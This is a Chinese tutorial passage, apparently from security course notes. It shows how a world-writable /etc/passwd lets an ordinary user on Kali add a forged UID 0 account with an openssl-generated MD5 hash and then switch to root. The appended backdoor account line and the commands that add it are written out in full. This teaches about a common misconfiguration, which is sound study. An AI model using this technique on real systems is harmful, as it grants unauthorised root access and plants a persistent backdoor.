- 对于一个正常的
/etc/passwd
文件来说,他的权限如下所示:
1 2 3
| ┌──(root㉿kali)-[~] └─# ls -l /etc/passwd -rw-r--r-- 1 root root 3163 Aug 21 14:59 /etc/passwd
|
- 根据所学权限可以看出,
/etc/passwd
默认是主要 root
用户可读可写,root
组与其他组可读。
- 但是,假设运维人员突然抽了一下,将权限改为任意用户可读可写时,就会产生隐患:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ┌──(root㉿kali)-[~] └─# chmod o+w /etc/passwd ┌──(root㉿kali)-[~] └─# ls -l /etc/passwd -rw-r--rw- 1 root root 3163 Aug 21 14:59 /etc/passwd
┌──(root㉿kali)-[~] └─# su kali
┌──(kali㉿kali)-[/root] └─$ head -n 2 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
- 这时我们需要做的就是:尝试伪造一个用户,在密码占位符处指定密码,并且
UID
设置为 0
,将其添加到 /etc/passwd
文件中。
- 其中
x
位置表示的是该用户的密码,密码可以采用多种形式(但肯定不能是明文),但是由于 Kali 来说这里使用的是 md5
加密。
- 这里使用
openssl
工具生成加密的密码:
1 2 3 4 5 6 7
| # 使用基于 MD5 的密码算法计算和加盐指定密码的哈希值,这里盐为 123456,后续需要填写密码,这里密码为 123 openssl passwd -1 -salt 123456
┌──(kali㉿kali)-[/root] └─$ openssl passwd -1 -salt 123456 Password: $1$123456$wWKtx7yY/RnLiPN.KaX.z.
|
1 2 3 4 5 6 7 8
| yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh
┌──(kali㉿kali)-[/root] └─$ echo 'yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh' >> /etc/passwd ┌──(kali㉿kali)-[/root] └─$ tail -n 1 /etc/passwd yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh
|
1 2 3 4 5 6
| ┌──(kali㉿kali)-[/root] └─$ su yongz Password:
┌──(root㉿kali)-[~] └─#
|
注:可能有同学非常疑惑,为什么 su yongz 切换到的却是 root,这是因为在最上方已经有一个 UID=0 的 root 用户了,所以系统优先识别到第一个 UID=0 的用户。